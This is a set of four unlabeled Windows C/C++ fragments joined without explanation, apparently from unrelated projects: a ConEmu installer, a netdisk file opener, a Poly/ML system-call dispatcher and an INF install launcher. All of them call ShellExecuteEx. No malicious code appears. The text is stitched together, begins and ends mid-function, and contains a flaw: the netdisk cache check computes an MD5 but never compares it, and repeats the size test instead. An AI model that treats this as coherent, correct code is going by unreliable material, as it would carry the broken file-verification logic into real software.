GetEnvironmentVariable(L"ProgramFiles", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer86, msgInstallFolderIs, CONEMUVERL, L"x86", bInstalled ? msgPathCurrent : msgPathDefault, szInstallPath); if (isWin64) { szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir_x64",true}, //Current installer does not use FarManager installation dir anymore //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir_x64"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir_x64"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir_x64"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_64KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { GetEnvironmentVariable(L"ProgramW6432", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer64, msgInstallFolderIs, CONEMUVERL, L"x64", bInstalled ? msgPathCurrent : msgPathDefault, szInstallPath); wsprintf(gsFull, msgInstallConfirm, gsMessage); } else { gsVer64[0] = 0; } } else { LPCWSTR szPath = gsTempFolder; lstrcpyn(gsMessage, msgChooseExtractVer, countof(gsMessage)); wsprintf(gsVer86, msgExtractX86X64, CONEMUVERL, L"x86", szPath); wsprintf(gsVer64, msgExtractX86X64, CONEMUVERL, L"x64", szPath); wsprintf(gsFull, msgExtractConfirm, gsMessage, szPath); } if (nInstallVer == 0) { nInstallVer = ChooseVersion(); // IDCANCEL/Ver86/Ver64 } if (nInstallVer != Ver86 && nInstallVer != Ver64) { return exit_Cancelled; } // Preparing full paths wsprintf(gsMsiFile, L"%s\\ConEmu.%s.%s.msi", gsTempFolder, CONEMUVERL, (nInstallVer == Ver86) ? L"x86" : L"x64"); wsprintf(gsCabFile, L"%s\\ConEmu.cab", gsTempFolder); bool lbNeedExe = false; if (!gbExtractOnly && gOSVer.dwMajorVersion >= 6) lbNeedExe = true; if (!lbNeedExe) gsExeFile[0] = 0; else wsprintf(gsExeFile, L"%s\\ConEmuSetup.exe", gsTempFolder); int iExpMsi = ExportFile(nInstallVer, gsMsiFile); int iExpCab = (iExpMsi == 0) ? ExportFile(CABFILE, gsCabFile) : -1; int iExpExe = (!lbNeedExe) ? 0 : (iExpCab == 0) ? ExportFile(EXEFILE, gsExeFile) : -1; if (iExpMsi != 0 || iExpCab != 0 || iExpExe != 0) { DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); return (iExpMsi != 0) ? iExpMsi : iExpCab; } if (gbExtractOnly) { temp_dir.DontRemove(); wchar_t szMessage[MAX_PATH*2]; wsprintf(szMessage, msgExtractedSuccessfully, gsTempFolder); MessageBox(NULL, szMessage, gsTitle, MB_ICONINFORMATION); return exit_Succeeded; } int iInstRc = exit_Succeeded; SHELLEXECUTEINFO sei = {sizeof(sei)}; wchar_t* pszParms = NULL; sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; if (gOSVer.dwMajorVersion<=5 || !gbUseElevation) { sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; } else { // Executor has `<requestedExecutionLevel level="requireAdministrator" ...>` in manifest sei.lpFile = gsExeFile; int nMaxLen = lstrlen(gsMsiFile) + (pszCmdToken ? lstrlen(pszCmdToken) : 0) + 64; pszParms = (wchar_t*)malloc(nMaxLen*sizeof(wchar_t)); wsprintf(pszParms, L"/i \"%s\" %s", gsMsiFile, pszCmdToken ? pszCmdToken : L""); sei.lpParameters = pszParms; } sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; BOOL lbExecute = ShellExecuteEx(&sei); #if 0 if (!lbExecute && lbNeedExe) { DWORD nErr = GetLastError(); if (nErr == 1223) { // Отмена пользователем UAC, или правов не хватило? sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; lbExecute = ShellExecuteEx(&sei); } } #endif if (!lbExecute) { iInstRc = ReportError(exit_ShellExecuteEx, msgInstallerFailed, gsMsiFile); } else { if (!sei.hProcess) { iInstRc = ReportError(exit_NullProcess, msgInstallerFailed, gsMsiFile); } else { WaitForSingleObject(sei.hProcess, INFINITE); DWORD nCode = 0; SetLastError(0); wchar_t szFormat[256]; if (GetExitCodeProcess(sei.hProcess, &nCode)) { switch (nCode) { case 0: iInstRc = exit_Succeeded; break; case 1602: // cancelled by user iInstRc = exit_Cancelled; // don't show any errors break; case 3010: // reboot is required wsprintf(szFormat, msgRebootRequired, nCode); iInstRc = ReportError(exit_AddWin32Code+nCode, szFormat, gsMsiFile); break; default: wsprintf(szFormat, msgInstallerFailedEx, nCode); iInstRc = ReportError(exit_AddWin32Code+nCode, szFormat, gsMsiFile); } } else { lstrcpyn(szFormat, msgExitCodeFailed, countof(szFormat)); iInstRc = ReportError(exit_ExitCodeProcess, szFormat, gsMsiFile); } } } DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); return iInstRc; }
BOOL COpenFileTask::Run() { if (m_strLocalFile.IsEmpty() && !m_FileInfo.m_strFileId.IsEmpty()) m_strOpenType = "netdisk"; else if (!m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty()) m_strOpenType = "local"; else if (m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty()) { m_strErrMsg = "参数错误!"; m_bFlag = FALSE; return FALSE; } SOCKET sockConn = GetConnect(theApp.m_strServerIp); if (sockConn==0) { m_strErrMsg = "连接服务器失败!"; m_bFlag = FALSE; return FALSE; } CString strDestFile = m_strLocalFile; if (m_strOpenType == "netdisk") { strDestFile = theApp.m_strCacheDir + "\\" + theApp.m_strUsrId + m_FileInfo.m_strNetDiskPath; strDestFile.Replace("/","\\"); BOOL bNeedDownload = TRUE; if (PathFileExists(strDestFile)) { long long iLocalFileSize = FileSize(strDestFile); CString strLocalFileSize = TransferFileSize(iLocalFileSize); if (strLocalFileSize.Compare(m_FileInfo.m_strFileSize)==0) { string strLocalMd5 = GetMD5(strDestFile); if (strLocalFileSize.CompareNoCase(m_FileInfo.m_strFileSize)==0) bNeedDownload = FALSE; } if (bNeedDownload) remove(strDestFile); } MakeSureDirectoryPathExists(strDestFile); if (bNeedDownload && !DownToClient(sockConn,m_FileInfo.m_strFileId,strDestFile)) return FALSE; } SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS|SEE_MASK_FLAG_NO_UI; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "Open"; ShExecInfo.lpFile = strDestFile; ShExecInfo.lpParameters = NULL; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_SHOW; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); static string strSysVer = ""; if (strSysVer.empty()) { OSVERSIONINFO osversioninfo; osversioninfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osversioninfo); if( (osversioninfo.dwMajorVersion == 5) && (osversioninfo.dwMinorVersion == 1)) strSysVer = "xp"; else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 1)) strSysVer = "win7"; else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 2)) strSysVer = "win8"; else strSysVer = "other"; } if ("xp" == strSysVer) { //解决xp机器上打开多个word、excel文件失败的问题 CString strFile = strDestFile; strFile.MakeLower(); if ( strFile.Right(4)==".doc" || strFile.Right(4)==".xls" || strFile.Right(4)==".ppt" || strFile.Right(5)==".docx" || strFile.Right(5)==".xlsx" || strFile.Right(5)==".pptx") { Sleep(1000); } } int iCode = (int)ShExecInfo.hInstApp; if ((int)ShExecInfo.hInstApp > 32) return TRUE; else { DWORD dErrCode = GetLastError(); if (dErrCode==1155) { ShExecInfo.lpVerb = "OpenAs"; ShExecInfo.hInstApp = NULL; BOOL bOK = ShellExecuteEx(&ShExecInfo); LogMsg("Openfile 未找到关联程序,使用OpenAs模式由用户选择关联程序"); if(!bOK) { CString strCmd; strCmd.Format("rundll32 shell32, OpenAs_RunDLL %s", strDestFile); WinExec(strCmd, SW_SHOWNORMAL); //手动执行打开选择关联方式对话框 return TRUE; } return TRUE; //返回真,外部可以根据hOut是否为NULL判断是否是OpenAs模式 } return FALSE; } return TRUE; }
Handle OS_spec_dispatch_c(TaskData *taskData, Handle args, Handle code) { unsigned c = get_C_unsigned(taskData, DEREFWORD(code)); switch (c) { case 0: /* Return our OS type. Not in any structure. */ return Make_arbitrary_precision(taskData, 1); /* 1 for Windows. */ /* Windows-specific functions. */ case 1000: /* execute */ return execute(taskData, args); case 1001: /* Get input stream as text. */ return openProcessHandle(taskData, args, TRUE, TRUE); case 1002: /* Get output stream as text. */ return openProcessHandle(taskData, args, FALSE, TRUE); case 1003: /* Get input stream as binary. */ return openProcessHandle(taskData, args, TRUE, FALSE); case 1004: /* Get output stream as binary. */ return openProcessHandle(taskData, args, FALSE, FALSE); case 1005: /* Get result of process. */ { PHANDLETAB hnd = get_handle(DEREFWORD(args), HE_PROCESS); if (hnd == 0) raise_syscall(taskData, "Process is closed", EINVAL); // Close the streams. Either of them may have been // passed to the stream package. if (hnd->entry.process.hInput != INVALID_HANDLE_VALUE) CloseHandle(hnd->entry.process.hInput); hnd->entry.process.hInput = INVALID_HANDLE_VALUE; if (hnd->entry.process.hEvent) CloseHandle(hnd->entry.process.hEvent); hnd->entry.process.hEvent = NULL; if (hnd->entry.process.readToken) { PIOSTRUCT strm = get_stream(hnd->entry.process.readToken); if (strm != NULL) close_stream(strm); } hnd->entry.process.readToken = 0; if (hnd->entry.process.hOutput != INVALID_HANDLE_VALUE) CloseHandle(hnd->entry.process.hOutput); hnd->entry.process.hOutput = INVALID_HANDLE_VALUE; if (hnd->entry.process.writeToken) { PIOSTRUCT strm = get_stream(hnd->entry.process.writeToken); if (strm != NULL) close_stream(strm); } hnd->entry.process.writeToken = 0; // See if it's finished. while (true) { DWORD dwResult; if (GetExitCodeProcess(hnd->entry.process.hProcess, &dwResult) == 0) raise_syscall(taskData, "GetExitCodeProcess failed", -(int)GetLastError()); if (dwResult != STILL_ACTIVE) { /* Finished - return the result. */ /* Note: we haven't closed the handle because we might want to ask for the result again. We only close it when we've garbage-collected the token. Doing this runs the risk of running out of handles. Maybe change it and remember the result in ML. */ return Make_arbitrary_precision(taskData, dwResult); } // Block and try again. WaitHandle waiter(hnd->entry.process.hProcess); processes->ThreadPauseForIO(taskData, &waiter); } } case 1006: /* Return a constant. */ { unsigned i = get_C_unsigned(taskData, DEREFWORD(args)); if (i >= sizeof(winConstVec)/sizeof(winConstVec[0])) raise_syscall(taskData, "Invalid index", 0); return Make_arbitrary_precision(taskData, winConstVec[i]); } /* Registry functions. */ case 1007: // Open a key within one of the roots. { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return openRegistryKey(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1008: // Open a subkey of an opened key. { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return openRegistryKey(taskData, args, hnd->entry.hKey); } case 1009: // Create a subkey within one of the roots. { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return createRegistryKey(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1010: // Create a subkey within an opened key. { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return createRegistryKey(taskData, args, hnd->entry.hKey); } case 1011: // Close a registry handle. { PHANDLETAB hnd = get_handle(DEREFWORD(args), HE_REGISTRY); if (hnd != 0) close_handle(hnd); return Make_arbitrary_precision(taskData, 0); } case 1012: // Get a value { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return queryRegistryKey(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1013: // Get a value { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return queryRegistryKey(taskData, args, hnd->entry.hKey); } case 1014: // Delete a subkey { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return deleteRegistryKey(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1015: // Delete a subkey { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return deleteRegistryKey(taskData, args, hnd->entry.hKey); } case 1016: // Set a value { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return setRegistryKey(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1017: // Set a value { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return setRegistryKey(taskData, args, hnd->entry.hKey); } case 1018: // Enumerate a key in the predefined keys { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return enumerateRegistry(taskData, args, hkPredefinedKeyTab[keyIndex], TRUE); } case 1019: // Enumerate a key in an opened key { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return enumerateRegistry(taskData, args, hnd->entry.hKey, TRUE); } case 1020: // Enumerate a value in the predefined keys { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return enumerateRegistry(taskData, args, hkPredefinedKeyTab[keyIndex], FALSE); } case 1021: // Enumerate a value in an opened key { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return enumerateRegistry(taskData, args, hnd->entry.hKey, FALSE); } case 1022: // Delete a value { unsigned keyIndex = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(0)); // This should only ever happen as a result of a fault in // the Windows structure. if (keyIndex >= sizeof(hkPredefinedKeyTab)/sizeof(hkPredefinedKeyTab[0])) raise_syscall(taskData, "Invalid index", 0); return deleteRegistryValue(taskData, args, hkPredefinedKeyTab[keyIndex]); } case 1023: // Delete a value { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_REGISTRY); if (hnd == 0) raise_syscall(taskData, "Handle is closed", -ERROR_INVALID_HANDLE); return deleteRegistryValue(taskData, args, hnd->entry.hKey); } case 1030: // Convert UTC time values to local time. -- No longer used?? { FILETIME ftUTC, ftLocal; /* Get the file time. */ getFileTimeFromArb(taskData, args, &ftUTC); if (! FileTimeToLocalFileTime(&ftUTC, &ftLocal)) raise_syscall(taskData, "FileTimeToLocalFileTime failed", -(int)GetLastError()); return Make_arb_from_Filetime(taskData, ftLocal); } case 1031: // Convert local time values to UTC. -- No longer used?? { FILETIME ftUTC, ftLocal; /* Get the file time. */ getFileTimeFromArb(taskData, args, &ftLocal); if (! LocalFileTimeToFileTime(&ftLocal, &ftUTC)) raise_syscall(taskData, "LocalFileTimeToFileTime failed", -(int)GetLastError()); return Make_arb_from_Filetime(taskData, ftUTC); } case 1032: // Get volume information. { TCHAR rootName[MAX_PATH], volName[MAX_PATH], sysName[MAX_PATH]; DWORD dwVolSerial, dwMaxComponentLen, dwFlags; Handle volHandle, sysHandle, serialHandle, maxCompHandle; Handle resultHandle; POLYUNSIGNED length = Poly_string_to_C(DEREFWORD(args), rootName, MAX_PATH); if (length > MAX_PATH) raise_syscall(taskData, "Root name too long", ENAMETOOLONG); if (!GetVolumeInformation(rootName, volName, MAX_PATH, &dwVolSerial, &dwMaxComponentLen, &dwFlags, sysName, MAX_PATH)) raise_syscall(taskData, "GetVolumeInformation failed", -(int)GetLastError()); volHandle = SAVE(C_string_to_Poly(taskData, volName)); sysHandle = SAVE(C_string_to_Poly(taskData, sysName)); serialHandle = Make_arbitrary_precision(taskData, dwVolSerial); maxCompHandle = Make_arbitrary_precision(taskData, dwMaxComponentLen); resultHandle = alloc_and_save(taskData, 4); DEREFHANDLE(resultHandle)->Set(0, DEREFWORDHANDLE(volHandle)); DEREFHANDLE(resultHandle)->Set(1, DEREFWORDHANDLE(sysHandle)); DEREFHANDLE(resultHandle)->Set(2, DEREFWORDHANDLE(serialHandle)); DEREFHANDLE(resultHandle)->Set(3, DEREFWORDHANDLE(maxCompHandle)); return resultHandle; } case 1033: { TCHAR fileName[MAX_PATH], execName[MAX_PATH]; POLYUNSIGNED length = Poly_string_to_C(DEREFWORD(args), fileName, MAX_PATH); HINSTANCE hInst; if (length > MAX_PATH) raise_syscall(taskData, "File name too long", ENAMETOOLONG); hInst = FindExecutable(fileName, NULL, execName); if ((POLYUNSIGNED)hInst <= 32) { raise_syscall(taskData, "FindExecutable failed", -(int)(POLYUNSIGNED)hInst); } return SAVE(C_string_to_Poly(taskData, execName)); } case 1034: // Open a document { SHELLEXECUTEINFO shellEx; memset(&shellEx, 0, sizeof(shellEx)); shellEx.cbSize = sizeof(shellEx); shellEx.lpVerb = _T("open"); shellEx.lpFile = Poly_string_to_T_alloc(DEREFWORD(args)); shellEx.hwnd = hMainWindow; shellEx.nShow = SW_SHOWNORMAL; BOOL fRes = ShellExecuteEx(&shellEx); free((void*)shellEx.lpFile); if (! fRes) raise_syscall(taskData, "ShellExecuteEx failed", 0-GetLastError()); return Make_arbitrary_precision(taskData, 0); } case 1035: // Launch an application. { SHELLEXECUTEINFO shellEx; memset(&shellEx, 0, sizeof(shellEx)); shellEx.cbSize = sizeof(shellEx); shellEx.lpVerb = _T("open"); shellEx.lpFile = Poly_string_to_T_alloc(args->WordP()->Get(0)); shellEx.lpParameters = Poly_string_to_T_alloc(args->WordP()->Get(1)); shellEx.nShow = SW_SHOWNORMAL; BOOL fRes = ShellExecuteEx(&shellEx); free((void*)shellEx.lpFile); free((void*)shellEx.lpParameters); if (! fRes) raise_syscall(taskData, "ShellExecuteEx failed", 0-GetLastError()); return Make_arbitrary_precision(taskData, 0); } case 1036: // Does the process have its own console? return Make_arbitrary_precision(taskData, hMainWindow != NULL ? 1: 0); case 1037: // Simple execute. return simpleExecute(taskData, args); // DDE case 1038: // Start DDE dialogue. { Handle handToken; PHANDLETAB pTab; HCONV hcDDEConv; TCHAR *serviceName = Poly_string_to_T_alloc(args->WordP()->Get(0)); TCHAR *topicName = Poly_string_to_T_alloc(args->WordP()->Get(1)); /* Send a request to the main thread to do the work. */ hcDDEConv = StartDDEConversation(serviceName, topicName); free(serviceName); free(topicName); if (hcDDEConv == 0) raise_syscall(taskData, "DdeConnect failed", 0); // Create an entry to return the conversation. handToken = make_handle_entry(taskData); pTab = &handleTable[STREAMID(handToken)]; pTab->entryType = HE_DDECONVERSATION; pTab->entry.hcDDEConv = hcDDEConv; return handToken; } case 1039: // Send DDE execute request. { PHANDLETAB hnd = get_handle(DEREFHANDLE(args)->Get(0), HE_DDECONVERSATION); LRESULT res; char *command; if (hnd == NULL) { raise_syscall(taskData, "DDE Conversation is closed", 0); } command = Poly_string_to_C_alloc(args->WordP()->Get(1)); /* Send a request to the main thread to do the work. */ res = ExecuteDDE(command, hnd->entry.hcDDEConv); free(command); if (res == -1) raise_syscall(taskData, "DdeClientTransaction failed", 0); else return Make_arbitrary_precision(taskData, res); } case 1040: // Close a DDE conversation. { PHANDLETAB hnd = get_handle(args->Word(), HE_DDECONVERSATION); if (hnd != 0) close_handle(hnd); return Make_arbitrary_precision(taskData, 0); } // Configuration functions. case 1050: // Get version data { OSVERSIONINFO osver; ZeroMemory(&osver, sizeof(OSVERSIONINFO)); osver.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // GetVersionEx is deprecated in Windows 8.1 if (! GetVersionEx(&osver)) raise_syscall(taskData, "GetVersionEx failed", -(int)GetLastError()); Handle major = Make_arbitrary_precision(taskData, osver.dwMajorVersion); Handle minor = Make_arbitrary_precision(taskData, osver.dwMinorVersion); Handle build = Make_arbitrary_precision(taskData, osver.dwBuildNumber); Handle platform = Make_arbitrary_precision(taskData, osver.dwPlatformId); Handle version = SAVE(C_string_to_Poly(taskData, osver.szCSDVersion)); Handle resVal = alloc_and_save(taskData, 5); DEREFHANDLE(resVal)->Set(0, DEREFWORDHANDLE(major)); DEREFHANDLE(resVal)->Set(1, DEREFWORDHANDLE(minor)); DEREFHANDLE(resVal)->Set(2, DEREFWORDHANDLE(build)); DEREFHANDLE(resVal)->Set(3, DEREFWORDHANDLE(platform)); DEREFHANDLE(resVal)->Set(4, DEREFWORDHANDLE(version)); return resVal; } case 1051: // Get windows directory { TCHAR path[MAX_PATH+1]; if (GetWindowsDirectory(path, sizeof(path)/sizeof(TCHAR)) == 0) raise_syscall(taskData, "GetWindowsDirectory failed", -(int)GetLastError()); return SAVE(C_string_to_Poly(taskData, path)); } case 1052: // Get system directory { TCHAR path[MAX_PATH+1]; if (GetSystemDirectory(path, sizeof(path)/sizeof(TCHAR)) == 0) raise_syscall(taskData, "GetSystemDirectory failed", -(int)GetLastError()); return SAVE(C_string_to_Poly(taskData, path)); } case 1053: // Get computer name { TCHAR name[MAX_COMPUTERNAME_LENGTH +1]; DWORD dwSize = MAX_COMPUTERNAME_LENGTH +1; if (GetComputerName(name, &dwSize) == 0) raise_syscall(taskData, "GetComputerName failed", -(int)GetLastError()); return SAVE(C_string_to_Poly(taskData, name)); } case 1054: // Get user name { TCHAR name[UNLEN +1]; DWORD dwSize = UNLEN +1; if (GetUserName(name, &dwSize) == 0) raise_syscall(taskData, "GetUserName failed", -(int)GetLastError()); return SAVE(C_string_to_Poly(taskData, name)); } case 1100: // Get the error result from the last call. // This is saved when we make a call to a foreign function. { return(SAVE(TAGGED(taskData->lastError))); } case 1101: // Wait for a message. { HWND hwnd = *(HWND*)(DEREFWORDHANDLE(args)->Get(0).AsCodePtr()); UINT wMsgFilterMin = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(1)); UINT wMsgFilterMax = get_C_unsigned(taskData, DEREFWORDHANDLE(args)->Get(2)); while (1) { MSG msg; processes->ThreadReleaseMLMemory(taskData); // N.B. PeekMessage may directly call the window proc resulting in a // callback to ML. For this to work a callback must not overwrite "args". BOOL result = PeekMessage(&msg, hwnd, wMsgFilterMin, wMsgFilterMax, PM_NOREMOVE); processes->ThreadUseMLMemory(taskData); if (result) return Make_arbitrary_precision(taskData, 0); // Pause until a message arrives. processes->ThreadPause(taskData); } } // case 1102: // Return the address of the window callback function. case 1103: // Return the application instance. { Handle result = alloc_and_save(taskData, 1, F_BYTE_OBJ); *(HINSTANCE*)(result->Word().AsCodePtr()) = hApplicationInstance; return result; } case 1104: // Return the main window handle { Handle result = alloc_and_save(taskData, 1, F_BYTE_OBJ); *(HWND*)(result->Word().AsCodePtr()) = hMainWindow; return result; } // case 1105: // Set the callback function default: { char msg[100]; sprintf(msg, "Unknown windows-specific function: %d", c); raise_exception_string(taskData, EXC_Fail, msg); return 0; } } }
// we don't need any runtime initialization; only use Win32 API! void __cdecl WinMainCRTStartup(void) { // variable for ExitProcess UINT exitCode; // variables for Tokenize LPTSTR infName; // variables for GetFullPathName LPTSTR fullPath; LPTSTR filePart; // variables for lstrcpy, lstrcat DWORD len; LPTSTR fixCmd; LPTSTR argList; // variables for ShellExecuteEx SHELLEXECUTEINFO shExec; // variables for Wow64DisableWow64FsRedirection PVOID OldWow64FsRedirectionValue; // variables for VerifyVersionInfo OSVERSIONINFOEX verInfo; // declare these functions as pointers to load dynamically PW64DW64FR Wow64DisableWow64FsRedirection; PW64RW64FR Wow64RevertWow64FsRedirection; // attempt to load functions and store pointer in variable Wow64DisableWow64FsRedirection = (PW64DW64FR) GetProcAddress( GetModuleHandle(TEXT("kernel32.dll")), "Wow64DisableWow64FsRedirection"); Wow64RevertWow64FsRedirection = (PW64RW64FR) GetProcAddress( GetModuleHandle(TEXT("kernel32.dll")), "Wow64RevertWow64FsRedirection"); // get the command line buffer from the environment infName = Tokenize (GetCommandLine ()); // standard prefix to run an installer. first argument is a tuple of // the library name and the entry point; there must be a comma // between them and no spaces. rest of the command is passed to that // entry point. DefaultInstall is the name of the section, 128 is // flags, and the .inf name must be specified using a path to avoid // having it search for files in default directories. fixCmd = TEXT("setupapi.dll,InstallHinfSection DefaultInstall 128 "); // get canonical path of the argument len = GetFullPathName (infName, 0, NULL, NULL); // file does not exist? if (len == 0) { exitCode = 0xFE; goto cleanupFullPath; } fullPath = (LPTSTR) HeapAlloc (GetProcessHeap (), 0, (len+1) * sizeof(TCHAR)); GetFullPathName (infName, len, fullPath, &filePart); // only directory was specified if (*filePart == '\0') { exitCode = 0xFD; goto cleanupFullPath; } // put all portions together to a total command line. note that the // InstallHinfSection argument list is not a regular command line. there // are always three fields: Section (DefaultInstall), Flags (128) and // Path, which are separated with a space. No quotes should be put around // the path, nor is the short name really necessary (on Windows 7 64-bit // there may not be a short name version available). len = lstrlen (fixCmd) + lstrlen (fullPath); argList = (LPTSTR) HeapAlloc (GetProcessHeap (), 0, (len+1) * sizeof(TCHAR)); lstrcpy (argList, fixCmd); lstrcat (argList, fullPath); //MessageBox(NULL, argList, TEXT("argList"), MB_ICONINFORMATION | MB_OK); ZeroFill (&shExec, sizeof(SHELLEXECUTEINFO)); shExec.cbSize = sizeof(SHELLEXECUTEINFO); shExec.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT | SEE_MASK_DOENVSUBST; // <http://codefromthe70s.org/vistatutorial.aspx> // <http://www.wintellect.com/cs/blogs/jrobbins/archive/2007/03/27/elevate-a-process-at-the-command-line-in-vista.aspx> ZeroFill (&verInfo, sizeof(OSVERSIONINFOEX)); verInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); verInfo.dwMajorVersion = 6; // Vista if (VerifyVersionInfo (&verInfo, VER_MAJORVERSION, VerSetConditionMask (0, VER_MAJORVERSION, VER_GREATER_EQUAL))) { shExec.lpVerb = TEXT("runas"); } // instead of calling InstallHinfSection ourself, we need to execute // the external program so that the native version (32- or 64-bits) // is run. it is always in system32, even on Windows x64! (folder // redirection is deactivated, so we'll get the native version). shExec.lpFile = TEXT("%SystemRoot%\\system32\\rundll32.exe"); shExec.lpParameters = argList; shExec.nShow = SW_SHOWDEFAULT; // only call the WoW64 functions if they are available on our system if(NULL != Wow64DisableWow64FsRedirection) Wow64DisableWow64FsRedirection (&OldWow64FsRedirectionValue); // launch process and "inherit" exit code ShellExecuteEx (&shExec); WaitForSingleObject (shExec.hProcess, INFINITE); GetExitCodeProcess (shExec.hProcess, &exitCode); CloseHandle (shExec.hProcess); if (NULL != Wow64RevertWow64FsRedirection) Wow64RevertWow64FsRedirection (OldWow64FsRedirectionValue); // not really necessary, but it's a habit hard to turn HeapFree (GetProcessHeap (), 0, argList); 